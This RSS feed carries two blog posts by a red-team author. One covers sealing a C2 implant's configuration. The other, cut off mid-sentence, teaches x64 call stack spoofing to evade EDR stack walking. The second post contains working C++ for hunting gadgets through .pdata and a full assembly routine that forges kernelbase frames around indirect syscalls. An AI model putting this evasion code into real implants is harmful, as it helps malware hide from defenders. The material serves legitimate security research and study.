<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yiğit Aydemir on Medium]]></title>
        <description><![CDATA[Stories by Yiğit Aydemir on Medium]]></description>
        <link>https://medium.com/@st4inl3s5?source=rss-8ac372c1fc98------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*R1ew4aFo5kf9tLm3yKgNXw.jpeg</url>
            <title>Stories by Yiğit Aydemir on Medium</title>
            <link>https://medium.com/@st4inl3s5?source=rss-8ac372c1fc98------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:04:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@st4inl3s5/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Sealing a C2’s Config (and Admitting It’s Not a Security Boundary) — Yiğit Aydemir]]></title>
            <link>https://medium.com/@st4inl3s5/sealing-a-c2s-config-and-admitting-it-s-not-a-security-boundary-yi%C4%9Fit-aydemir-eed97b2d0a8c?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/eed97b2d0a8c</guid>
            <category><![CDATA[c2]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 00:00:32 GMT</pubDate>
            <atom:updated>2026-11-13T16:26:47.998Z</atom:updated>
            <content:encoded><![CDATA[<p>When I started building a C2 from scratch, one of the decisions I kept postponing was how to protect its configuration. The implant needs its listener endpoints, the listener’s public key, the identity of the build it belongs to, and the enrollment material it presents to the server. All of that has to travel with the payload, and none of it should be readable to whoever ends up holding the artifact.</p><p>Before committing to a design, I did what I usually do when I am uncertain about a problem: I looked at how people who have already solved it solved it. I read the documentation of Cobalt Strike, Sliver, Mythic, Havoc, Meterpreter and Brute Ratel, the parts of their source that are public, and the analyses published by defenders who have taken their artifacts apart.</p><p>The pattern was consistent. Every one of them bakes the configuration into the payload at build time, and every one of their configurations has been extracted by somebody. Cobalt Strike configurations come out with a <a href="https://www.elastic.co/security-labs/blog/extracting-cobalt-strike-beacon-configurations">public extractor</a>. Sliver de-obfuscates its configuration in memory when it <a href="https://www.microsoft.com/en-us/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/">checks in</a>. Meterpreter publishes the <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html">layout of its configuration block</a>. Brute Ratel samples have carried the <a href="https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/">RC4 key right next to the encrypted configuration</a>.</p><p>That is not an argument against sealing. It is an argument for being precise about what sealing does. The question is not <em>how do I make the configuration unreadable to an analyst holding the binary</em> — for an offline artifact, that is not a solvable problem. The question is what sealed configuration should guarantee, what it cannot, and where trust should live instead. This post is the answer I settled on while building telekinetiC2.</p><h3>What sealed configuration is — and is not</h3><p>A sealed configuration is a single opaque artifact: the whole configuration body, encrypted and authenticated, travelling inside the payload rather than beside it. The implant opens it in memory, uses it, and never writes it back to disk.</p><p>An illustrative envelope looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y060XRnHkbmA99M6.png" /></figure><p>This layout is illustrative, chosen to show the roles of the fields; it is not the format of any specific framework. The exact field order matters less than the three questions the header answers: <em>which key</em>, <em>which build</em>, and <em>which bytes are authenticated</em>.</p><p>The data key is derived per build. A sealing key — injected when the payload is compiled, never read from the environment or the registry at runtime — is combined with the build identity to produce the key that actually encrypts the body. The build identity is also fed into the authenticated data, so a blob sealed for one build does not open on another even if the same sealing key were reused.</p><p>Four properties come out of that design, and they are worth naming precisely because they are easy to oversell:</p><ul><li><strong>At-rest secrecy.</strong> Whoever copies the artifact, reads a telemetry archive, or opens the file in a hex editor does not get the endpoints, the keys, or the enrollment material in readable form.</li><li><strong>Tamper-evidence.</strong> If a single byte changes — an endpoint, a key, a feature flag — authentication fails and the implant refuses to run.</li><li><strong>Build binding.</strong> An artifact sealed for one build cannot be replayed against another build.</li><li><strong>One artifact.</strong> Deployment hands over one opaque file instead of a payload plus configuration data.</li></ul><p>What it does <strong>not</strong> buy is just as important. It does not protect the configuration from someone who holds the binary and is willing to reverse it: the key that opens the artifact ships inside the artifact. It does not mask the configuration in memory while the implant sleeps. And it does not decide who is allowed to connect — that is a different mechanism on the server side, and the rest of this post keeps the two separate.</p><h3>The problem it is meant to solve</h3><p>A C2 is distributed as an artifact. The configuration has to be self-contained, because the operator cannot depend on shipping a second file alongside it or creating one at run time. A sidecar configuration is one more artifact to lose, and a readable one tells whoever finds it where the infrastructure lives. A writable one is worse: an implant that trusts a file it can load from disk can be pointed at a different listener by anyone who can write next to it.</p><p>Once the artifact leaves the operator’s control — copied to a target, captured in a memory dump, archived by a defender — everything stored in it in plaintext is disclosed. That is the first requirement: the configuration should not be readable at rest.</p><p>The second requirement is integrity. A configuration that can be edited without detection is not just a secrecy problem; it is a trust problem. The operator wants to know that the endpoints, the keys and the feature flags inside the artifact are the ones the build produced, not the ones somebody else substituted.</p><p>The third is identity binding. A payload is built for a specific build: a build ID, an enrollment secret, a set of listeners. If a configuration can be moved from one build to another, then the artifact stops being a unit and the server can no longer reason about what it is talking to.</p><p>None of this is admission control. Sealing answers <em>did this configuration come from the build that produced this implant, unmodified?</em> It does not answer <em>should this implant be allowed to connect?</em> Keeping those questions separate is the difference between a useful sealing design and a false sense of security.</p><h3>How other C2s handle it</h3><p>The frameworks I looked at solve the storage problem in remarkably similar ways.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*54_bxHCR7g9vyumcAjsxOg.png" /></figure><p>A few details are worth pulling out of that table.</p><p>Cobalt Strike’s <a href="https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm">Malleable C2 profile</a> is loaded by the team server, and <a href="https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/">the profile’s beacon-facing values</a> — sleep time, jitter, spawn-to, process-injection settings, the public key — end up in the generated payload. The public key is used by the team server to encrypt beacon traffic, and it is shared across that server’s beacons. When a defender <a href="https://www.elastic.co/security-labs/blog/extracting-cobalt-strike-beacon-configurations">extracts a beacon’s configuration</a>, those fields are exactly what makes the artifact useful for clustering: the extractor does not need to break any cryptography, because the artifact carries the data it needs to operate.</p><p>Sliver takes a different route to the same outcome. Its <a href="https://github.com/BishopFox/sliver/blob/master/server/generate/binaries.go">generation step</a> is a <a href="https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/transports.go">template render</a>: the C2 URL list and the <a href="https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/mtls/mtls.go">per-build mTLS material</a> are written as string literals into the generated Go source, then compiled. The implant has to read them, so they are in the binary; string obfuscation raises the cost of reading them at rest, and memory analysis bypasses that cost at check-in.</p><p>Meterpreter is the most honest about it. Its <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html">configuration block</a> is a documented binary structure appended to the payload, and the block layout is published in the documentation — because the design needs the stager and the payload to agree on it. You cannot claim secrecy over a format you shipped in a manual.</p><p>Brute Ratel shows both sides of payload-level protection in the same family of samples: one carried an <a href="https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/">encrypted configuration whose RC4 key was recovered from the loader</a>, another carried the configuration in cleartext.</p><p>Mythic and Havoc sit in the same family with less visible internals: Mythic’s build pipeline <a href="https://docs.mythic-c2.net/version-4.0/message-flow/building-payloads.md">stamps user parameters into the agent at build time</a>, and Havoc’s <a href="https://havocframework.com/docs/profiles">profile configures the Demon</a> at <a href="https://havocframework.com/docs/agent">payload generation</a>.</p><h3>Where their approach breaks</h3><p>“Breaks” is the wrong word for most of these — they are limits, not bugs, and the frameworks made reasonable trade-offs. But those limits are exactly the space a new design can improve on.</p><p><strong>There is no artifact-to-build binding.</strong> Embedded configuration is data inside a payload. If the same protection scheme and key are reused, a configuration blob can be moved from one build to another. Most frameworks never attempt the binding in the first place; the artifact and its configuration are one file, and the server has no way to check that the file it received was built for the build it claims.</p><p><strong>The key that protects the configuration travels with it.</strong> Obfuscation and encryption raise the cost of reading the configuration at rest, but the material needed to reverse them is inside the artifact. That is why <a href="https://www.elastic.co/security-labs/blog/extracting-cobalt-strike-beacon-configurations">public extractors exist for a commercial framework</a>, why <a href="https://www.microsoft.com/en-us/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/">memory analysis recovers an open-source implant’s configuration</a>, and why a <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html">documented format</a> can be parsed without any reverse engineering at all.</p><p><strong>Authentication is not authoritative.</strong> A configuration block is usually parsed as trusted input. If editing the configuration were detected at all, it would be a parsing failure, not a security decision. The block layouts are often published because the design depends on them being stable; nothing in them is authenticated against the build that produced them.</p><p><strong>Configuration secrecy is mistaken for admission control.</strong> Holding a configuration does not grant permission to talk to the server — but it can, if the server trusts identity claims supplied by the configuration. When the artifact declares its own fingerprint or enrollment data, stealing the artifact becomes stealing the identity.</p><p><strong>Rotation requires a rebuild.</strong> Because the configuration is baked in, changing infrastructure means building a new payload. Meterpreter is the exception here: its <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-transport-control.html">transport list can be extended at run time</a>, which is a genuinely useful property that most of the others do not have.</p><h3>How telekinetiC2 closes those gaps (and where it stops)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nAoiab2ENhzGpZRf.png" /></figure><p>The design I settled on keeps the configuration inside the payload and seals it with an authenticated envelope, but adds the binding the other approaches leave out.</p><p><strong>The artifact is bound to its build.</strong> The sealing key and the build identity are injected when the payload is compiled, not stored in the repository and not read at run time. The build identity is mixed into both the key derivation and the authenticated data. A blob sealed for one build does not open on another one, and a single flipped byte — in the header, the ciphertext, or the tag — fails authentication. There is no partial acceptance and no “repair”: the loader either has the exact bytes the build produced or it has nothing.</p><p><strong>Failure is fail-closed and quiet.</strong> If the sealed configuration is present and does not open, the implant exits with a configuration error and does not fall back to another configuration source. In a release build nothing is printed; a debug build prints one line that does not say whether the header, the key id, the authentication tag, or the payload parse failed. The decrypted buffer and the derived key are wiped on every return path.</p><p><strong>The plaintext path is a lab tool, not a deployment mode.</strong> There is a compile-time switch that permits a plaintext configuration for lab builds, and the production build turns it off. This is deliberately not a run-time option: a fallback that an operator can trigger in the field is a fallback an attacker can trigger too.</p><p><strong>Admission lives elsewhere.</strong> The seal proves that the configuration came from the build unmodified. It does not admit the implant. Admission is a server-side decision: an unknown machine is answered as pending and waits for an operator, enrollment material is verified against the build, registration nonces are tracked for replay, and bans and expiry are enforced on the trusted side. The configuration cannot assert an identity that the server accepts on its word.</p><p>Where this design stops is worth stating plainly. The sealing key is inside the binary, so a determined analyst who holds the sample can recover it. The configuration is decoded in memory while the implant runs, so memory forensics with the right timing can read it. Changing infrastructure still means building a new payload; runtime configuration refresh is not part of this design. And none of it replaces the admission layer — the seal and the approval gate do different jobs, and neither is sufficient alone.</p><p>I verified the failure modes rather than assuming them: a flipped byte, a blob sealed for a different build, a truncated blob and a missing artifact all end in a silent configuration failure without any network activity, while a valid artifact registers and beacons through the approval gate. The properties above are measured behaviour, not design intentions.</p><h3>Closing</h3><p>The most useful thing I took from reading the other frameworks is that sealed configuration is a small, honest mechanism. It protects the configuration at rest, it detects modification, and it can bind an artifact to the build that produced it. It does not hide the configuration from someone who holds the binary, and it does not admit the implant.</p><p>Every sealed artifact can be recovered, given enough time and the right analyst. A design that admits this and puts its trust where it can actually be enforced — in the server, in the operator, in the admission decision — is worth more than one that promises secrecy it cannot deliver.</p><h3>Sources</h3><ul><li>Cobalt Strike, Malleable C2 profile reference — <a href="https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm">Fortra documentation</a></li><li>Cobalt Strike, profile-driven payload generation — <a href="https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/">Unit 42</a></li><li>Cobalt Strike, beacon configuration extraction with CSCE — <a href="https://www.elastic.co/security-labs/blog/extracting-cobalt-strike-beacon-configurations">Elastic Security Labs</a></li><li>Sliver, generation and template rendering — <a href="https://github.com/BishopFox/sliver/blob/master/server/generate/binaries.go">binaries.go</a>, <a href="https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/transports.go">transports.go</a>; per-build mTLS material — <a href="https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/mtls/mtls.go">mtls.go</a></li><li>Sliver, configuration obfuscation and memory extraction — <a href="https://www.microsoft.com/en-us/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/">Microsoft Security Blog</a></li><li>Meterpreter, configuration block layout — <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html">Rapid7 documentation</a>; runtime transport control — <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-transport-control.html">Rapid7 documentation</a></li><li>Mythic, build-time parameter stamping — <a href="https://docs.mythic-c2.net/version-4.0/message-flow/building-payloads.md">Mythic documentation</a></li><li>Havoc, profiles and Demon configuration — <a href="https://havocframework.com/docs/profiles">Havoc documentation: profiles</a>, <a href="https://havocframework.com/docs/agent">Havoc documentation: agent</a></li><li>Brute Ratel, configuration handling in real samples — <a href="https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/">Unit 42</a></li></ul><p><em>Originally published at </em><a href="https://yigitaydemir.com/blog/sealing-a-c2-config"><em>https://yigitaydemir.com</em></a><em> on November 13, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eed97b2d0a8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Teach the Stack to Lie: .pdata Unwinding and Call Stack Spoofing on x64 — Yiğit Aydemir]]></title>
            <link>https://medium.com/@st4inl3s5/teach-the-stack-to-lie-pdata-unwinding-and-call-stack-spoofing-on-x64-yi%C4%9Fit-aydemir-d8aed0455231?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8aed0455231</guid>
            <category><![CDATA[windows-internals]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cpp]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Fri, 30 Oct 2026 00:00:11 GMT</pubDate>
            <atom:updated>2026-10-30T12:59:46.919Z</atom:updated>
            <content:encoded><![CDATA[<p>The <a href="https://yigitaydemir.com/blog/edr-hooks-halos-gate-indirect-syscalls">last article</a> in this series ended on an honest admission. I had bypassed an EDR-style inline hook with an indirect syscall, and the transition origin was clean — RIP executed syscall from legitimate ntdll.dll memory. But one artifact survived everything: the <strong>call stack</strong>. And in Lab 4.2, that stack was ugly - when the kernel or an EDR stack walker looked at [RSP] during the syscall, it saw a return address into main.exe. A program no legitimate Windows process calls ntdll from. In a <a href="https://yigitaydemir.com/blog/from-syscall-to-reflective-loader">reflectively mapped DLL from the first article</a>, it would be worse: a return address sitting in unbacked Private memory - the single loudest anomaly in user-mode forensics.</p><p>This article closes that gap. The goal: when my indirect syscall executes syscall inside ntdll.dll, the call stack should read ntdll.dll ← kernelbase.dll ← main.exe - with the kernelbase.dll frame entirely synthetic, forged to the exact byte offset that Windows&#39; own unwinder expects. And the proof is the sweetest kind: <strong>x64dbg&#39;s Call Stack tab, walking the fake frame and displaying it as real.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3r9Czb0iOHDH-CvC.png" /></figure><p>That call stack above is a lie, built from first principles: what the stack actually looks like in RAM, how Windows walks it, and why the .pdata section is both the EDR&#39;s map and my forgery template. As always, everything comes from my <a href="https://github.com/st4inl3s5/OS-Internals">OS-Internals study repository</a> - labs on my own Windows 11 VM, my own process, every address verified in a debugger.</p><h3>First, Understand the Honest Stack</h3><p>Suppose a normal program allocates memory: main() calls KernelBase!VirtualAlloc, which calls ntdll!NtAllocateVirtualMemory. Let me trace every instruction that moves RSP, starting from RSP = 0x1000 as main() is about to call:</p><pre>; Inside main.exe!main():<br>0x00007FF600001050:  call KernelBase!VirtualAlloc   ; 5-byte instruction<br>0x00007FF600001055:  mov  ecx, eax                  ; where main() wants to resume</pre><p>The call does three things: RSP drops by 8 ( 0x1000 → 0x0FF8), the return address 0x00007FF600001055 is written to [0x0FF8], and RIP jumps into KernelBase!VirtualAlloc. There, the prologue builds a stack frame - save the registers the function intends to use, carve out workspace:</p><pre>; Inside KernelBase.dll!VirtualAlloc — prologue:<br>push rbx         ; RSP = 0x0FF0<br>push rdi         ; RSP = 0x0FE8<br>sub  rsp, 0x30   ; RSP = 0x0FB8    — total frame: 8+8+48 = 0x40 bytes<br>...<br>call ntdll!NtAllocateVirtualMemory   ; pushes 0x00007FF811112045 (resume address)</pre><p>Pause inside ntdll!NtAllocateVirtualMemory on the syscall instruction. The stub is a <strong>leaf function</strong> - it never pushes, never calls, frame size zero - so the return address into KernelBase sits right on top of the stack. The full RAM picture:</p><pre>STACK WHEN PAUSED ON &#39;syscall&#39; (RSP = 0x0FB0)<br>+---------------------+----------------------+------------------------------------------------+<br>| RAM Address         | 8-Byte Value         | What Is This?                                  |<br>+---------------------+----------------------+------------------------------------------------+<br>| 0x0FB0  &lt;-- [RSP]   | 0x00007FF811112045   | Return addr #1 (KernelBase!VirtualAlloc+0x45) |<br>+---------------------+----------------------+------------------------------------------------+<br>| 0x0FB8 .. 0x0FE0    | locals (0x30 bytes)  | the &#39;sub rsp, 0x30&#39; workspace                 |<br>| 0x0FE8              | saved RDI            | the &#39;push rdi&#39;                                |<br>| 0x0FF0              | saved RBX            | the &#39;push rbx&#39;                                |<br>|                     |                      | === KernelBase frame = 0x40 bytes total ===   |<br>+---------------------+----------------------+------------------------------------------------+<br>| 0x0FF8              | 0x00007FF600001055   | Return addr #2 (main.exe!main+0x55)           |<br>+---------------------+----------------------+------------------------------------------------+</pre><p>Finding return address #1 is trivial — it’s at [RSP]. Now the question that unlocks this entire field:</p><p><strong>How does Windows (or x64dbg, or an EDR) know return address #2 sits exactly </strong><strong>0x40 bytes deeper - and not </strong><strong>0x20 or </strong><strong>0x80?</strong> Between the two addresses are eight slots of unrelated numbers: locals, saved registers, argument spill. Nothing on the stack itself says where the next frame begins.</p><h3>.pdata: the Compiler&#39;s Cheat Sheet</h3><p>The answer is that the compiler wrote it down. Every non-leaf function compiled into a Windows x64 binary gets a 12-byte record in the PE file’s .pdata section ( DataDirectory[3], the Exception Directory) - a RUNTIME_FUNCTION:</p><pre>typedef struct _RUNTIME_FUNCTION {<br>    DWORD BeginAddress; // RVA where the function starts<br>    DWORD EndAddress;   // RVA where the function ends<br>    DWORD UnwindData;   // RVA of this function&#39;s UNWIND_INFO in .rdata<br>} RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;</pre><p>The UNWIND_INFO it points to is a list of 2-byte UNWIND_CODE records - one per prologue instruction that moved RSP. For VirtualAlloc &#39;s prologue above, exactly three:</p><pre>UWOP_ALLOC_SMALL  (OpInfo = 5)  -&gt; (5 * 8) + 8 = 48 bytes   (&#39;sub rsp, 0x30&#39;)<br>UWOP_PUSH_NONVOL  (OpInfo = 7)  -&gt; +8 bytes                 (&#39;push rdi&#39;)<br>UWOP_PUSH_NONVOL  (OpInfo = 3)  -&gt; +8 bytes                 (&#39;push rbx&#39;)<br>                                          total = 0x40 bytes</pre><p>So a stack walk isn’t memory scanning — it’s table lookup. RtlVirtualUnwind (used by the kernel&#39;s exception dispatch, by x64dbg, by System Informer, by EDR stack walkers) reads [RSP], finds which RUNTIME_FUNCTION covers that address, sums the UNWIND_CODEs, skips exactly that many bytes, and reads the next frame. Deterministic, fast - and built entirely on the assumption that <strong>every frame on the stack was created by a real prologue that a real </strong><strong>.pdata entry describes.</strong></p><p>Hold that assumption. We’re going to keep the table’s math true while making its story false.</p><h3>The Two Problems With Faking a Frame</h3><p>The plan: at the moment of syscall, [RSP] should hold an address inside KernelBase.dll, and main.exe&#39;s real return address should sit exactly where KernelBase.dll&#39;s .pdata says the caller&#39;s frame is. Two obstacles:</p><p><strong>Problem 1 — </strong><strong>ntdll will execute </strong><strong>ret through our forgery.</strong> Right after syscall, ntdll&#39;s ret pops [RSP] and jumps to it. Put a random KernelBase address there and execution runs off into the middle of an unrelated function and crashes. We need an address inside KernelBase.dll that <em>behaves like a return address</em> - one instruction, executed on the way back, that immediately hands control to our code.</p><p>The gadget: , which appears naturally throughout KernelBase.dll&#39;s machine code. It reads an address from [RBX] and jumps there. And RBX is chosen deliberately: it&#39;s <strong>non-volatile</strong> in the Microsoft x64 ABI - callee-saved - so neither ntdll nor the kernel transition will ever clobber it. Before the syscall we set RBX to point at a variable holding our cleanup code. So the return path becomes: ntdll&#39;s ret → lands on jmp qword ptr [rbx] inside legitimate KernelBase.dll → teleports straight back to our RestoreAfterSyscall. The gadget borrowed, the execution controlled.</p><p><strong>Problem 2 — the forged frame must be the <em>exact size the table says</em>.</strong> Whatever KernelBase function contains our gadget, its .pdata entry declares a frame size - say 0x48. The stack walker will look for return address #2 at [RSP + 8 + 0x48]. If main.exe&#39;s real return address isn&#39;t at precisely that offset, the unwound stack is broken and the forgery is visible. So we can&#39;t just find any FF 23 - we must find one whose <strong>containing function&#39;s frame is large enough, and then subtract exactly that size from </strong><strong>RSP</strong> before pushing the gadget, so the real return address lands on the byte the table predicts.</p><p>Which reframes gadget hunting entirely: we’re not scanning for bytes, we’re scanning .pdata itself - every function, compute its frame size from its own UNWIND_INFO, then scan its machine code for the gadget. <strong>The unwinder&#39;s own metadata selects the forgery template.</strong></p><h3>Parsing .pdata in C++</h3><p>The UNWIND_CODE is a packed union - 4 bits of opcode, 4 bits of operand info, and some opcodes consume extra USHORT slots (which is why the parser advances i by more than one):</p><pre>typedef union _UNWIND_CODE {<br>    struct {<br>        BYTE CodeOffset;<br>        BYTE UnwindOp : 4;<br>        BYTE OpInfo   : 4;<br>    };<br>    USHORT FrameOffset;<br>} UNWIND_CODE, *PUNWIND_CODE;</pre><p>The frame-size calculator — the same arithmetic RtlVirtualUnwind performs, implemented from the opcode table. Note the rejections: functions with chained unwind info or frame pointers ( UWOP_SET_FPREG) are skipped, because their frame math isn&#39;t a simple sum:</p><pre>BOOL CalculateFunctionStackSize(BYTE* moduleBase, PRUNTIME_FUNCTION rtFunc, DWORD* outStackSize)<br>{<br>    PUNWIND_INFO unwindInfo = (PUNWIND_INFO)(moduleBase + rtFunc-&gt;UnwindData);<br>    if((unwindInfo-&gt;Flags &amp; UNW_FLAG_CHAININFO) != 0 || unwindInfo-&gt;FrameRegister != 0)<br>    {<br>        return FALSE;<br>    }<br>    DWORD totalStackSize = 0;<br>    for(DWORD i = 0; i &lt; unwindInfo-&gt;CountOfCodes; i++)<br>    {<br>        BYTE unwindOp = unwindInfo-&gt;UnwindCode[i].UnwindOp;<br>        BYTE opInfo = unwindInfo-&gt;UnwindCode[i].OpInfo;<br><br>        switch(unwindOp)<br>        {<br>            case UWOP_PUSH_NONVOL: // e.g. push rbx (+8 bytes)<br>                totalStackSize += 8;<br>                break;<br>            case UWOP_ALLOC_SMALL: // e.g. sub rsp, 0x30<br>                totalStackSize += (opInfo * 8) + 8;<br>                break;<br>            case UWOP_ALLOC_LARGE: // e.g. sub rsp, 0x120<br>                if(opInfo == 0)<br>                {<br>                    totalStackSize += unwindInfo-&gt;UnwindCode[i + 1].FrameOffset * 8;<br>                    i += 1;<br>                }<br>                else {<br>                    totalStackSize += *(DWORD*)(&amp;unwindInfo-&gt;UnwindCode[i + 1]);<br>                    i += 2;<br>                }<br>                break;<br>            case UWOP_SAVE_NONVOL: // e.g. mov [rsp+0x20], rbx<br>            case UWOP_SAVE_XMM128:<br>                i += 1;<br>                break;<br>            case UWOP_SAVE_NONVOL_FAR:<br>            case UWOP_SAVE_XMM128_FAR:<br>                i += 2;<br>                break;<br>            default: // UWOP_SET_FPREG or UWOP_PUSH_MACHFRAME<br>                return FALSE;<br>        }<br>    }<br>    *outStackSize = totalStackSize;<br>    return TRUE;<br>}</pre><p>The gadget hunter walks .pdata ( DataDirectory[3]), requires a frame of at least 0x48 (room for the shadow space plus stack arguments 5 and 6), then scans the function&#39;s code - <strong>after its prologue</strong>, so we don&#39;t match prologue bytes - for the two-byte FF 23:</p><pre>BOOL FindGadgetInModule(HMODULE hModule, PVOID* outGadgetAddr, DWORD* outGadgetFrameSize)<br>{<br>    BYTE* moduleBase = (BYTE*)hModule;<br>    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;<br>    PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(moduleBase + dosHeader-&gt;e_lfanew);<br>    IMAGE_DATA_DIRECTORY exceptionDir = ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];<br>    PRUNTIME_FUNCTION rtFuncs = (PRUNTIME_FUNCTION)(moduleBase + exceptionDir.VirtualAddress);<br>    DWORD numFuncs = exceptionDir.Size / sizeof(RUNTIME_FUNCTION);<br><br>    for(DWORD i = 0; i &lt; numFuncs; i++)<br>    {<br>        DWORD frameSize = 0;<br>        if(!CalculateFunctionStackSize(moduleBase, &amp;rtFuncs[i], &amp;frameSize))<br>        {<br>            continue;<br>        }<br>        if(frameSize &lt; 0x48)<br>        {<br>            continue;<br>        }<br>        // Scanning the module&#39;s machine code to find jmp qword ptr [rbx]<br>        // instruction<br>        PUNWIND_INFO unwindInfo = (PUNWIND_INFO)(moduleBase + rtFuncs[i].UnwindData);<br>        for(DWORD rva = rtFuncs[i].BeginAddress + unwindInfo-&gt;SizeOfProlog; rva &lt; rtFuncs[i].EndAddress - 2; rva++)<br>        {<br>            if(moduleBase[rva] == 0xFF &amp;&amp; moduleBase[rva + 1] == 0x23)<br>            {<br>                *outGadgetAddr = (PVOID)(moduleBase + rva);<br>                *outGadgetFrameSize = frameSize;<br>                return TRUE;<br>            }<br>        }<br>    }<br>    return FALSE;<br>}</pre><p>On my VM this found kernelbase.dll!SleepEx+0x2A4 ( 0x00007FFEEE98BBD4) with a .pdata frame size of 0x68 - a real, Microsoft-written function whose frame is big enough to hide mine inside.</p><h3>The Assembly: 25 Lines of Forgery</h3><p>The full DoSpoofedIndirectSyscall - the successor of Lab 4.2&#39;s stub, with the two frame-building additions:</p><pre>DoSpoofedIndirectSyscall PROC<br>    mov qSavedRbx, rbx<br>    mov eax, dwGadgetFrameSize<br>    sub rsp, rax<br>    mov r10, qword ptr [rsp + rax + 28h]<br>    mov qword ptr [rsp + 20h], r10<br>    mov r10, qword ptr [rsp + rax + 30h]<br>    mov qword ptr [rsp + 28h], r10<br>    push qGadgetAddr<br>    lea rax, RestoreAfterSyscall<br>    mov qRestoreStubPtr, rax<br>    lea rbx, qRestoreStubPtr<br>    mov r10, rcx<br>    mov eax, wSystemCall<br>    jmp qword ptr [qSyscallInsAddr]<br><br>RestoreAfterSyscall:<br>    mov ecx, dwGadgetFrameSize<br>    add rsp, rcx<br>    mov rbx, qSavedRbx<br>    ret<br>DoSpoofedIndirectSyscall ENDP</pre><p>Walk it with real numbers ( main() called us, its return address main+0x423 is at [0x0FF8]; gadget SleepEx+0x2A4; frame size 0x68):</p><pre>[1] sub rsp, 0x68          -&gt; RSP drops by 0x68; main&#39;s return address<br>    (synthetic frame)        stays untouched, now at [RSP + 0x68]<br>[2] copy Arg5/Arg6         -&gt; stack args move into the synthetic frame so the<br>    (spill slots)            syscall finds them at [RSP+0x28]/[RSP+0x30]<br>[3] push qGadgetAddr       -&gt; [RSP] = SleepEx+0x2A4  (INSIDE KernelBase.dll)<br>    main&#39;s return address now sits at exactly [RSP + 8 + 0x68]<br>[4] jmp -&gt; ntdll + 0x12    -&gt; syscall executes inside ntdll.dll<br><br>WHAT THE STACK WALKER SEES, PAUSED ON &#39;syscall&#39;:<br>    Frame 0 (RIP):      ntdll!NtAllocateVirtualMemory+0x12     clean<br>    Frame 1 ([RSP]):    kernelbase!SleepEx+0x2A4               reads .pdata -&gt; 0x68<br>    Frame 2 ([RSP+8+0x68]): main.exe!main+0x423                found EXACTLY where<br>                                                                  the table predicted<br>    -&gt; ntdll &lt;- kernelbase &lt;- main:  an unbroken, fully-unwindable chain<br><br>[5] syscall returns, ntdll&#39;s &#39;ret&#39; pops SleepEx+0x2A4 and jumps into KernelBase<br>[6] &#39;jmp qword ptr [rbx]&#39; (FF 23) teleports to RestoreAfterSyscall<br>[7] add rsp, 0x68; restore RBX; ret  -&gt; back in main(), stack byte-identical</pre><p>The design detail I’m most satisfied with: <strong>main&#39;s return address is never popped and stored anywhere.</strong> The naive approach - save it to a global, push the gadget, restore it later - creates a frame the unwinder can&#39;t traverse. Leaving it in place means the forged KernelBase frame sits <em>below</em> a genuine, untouched return 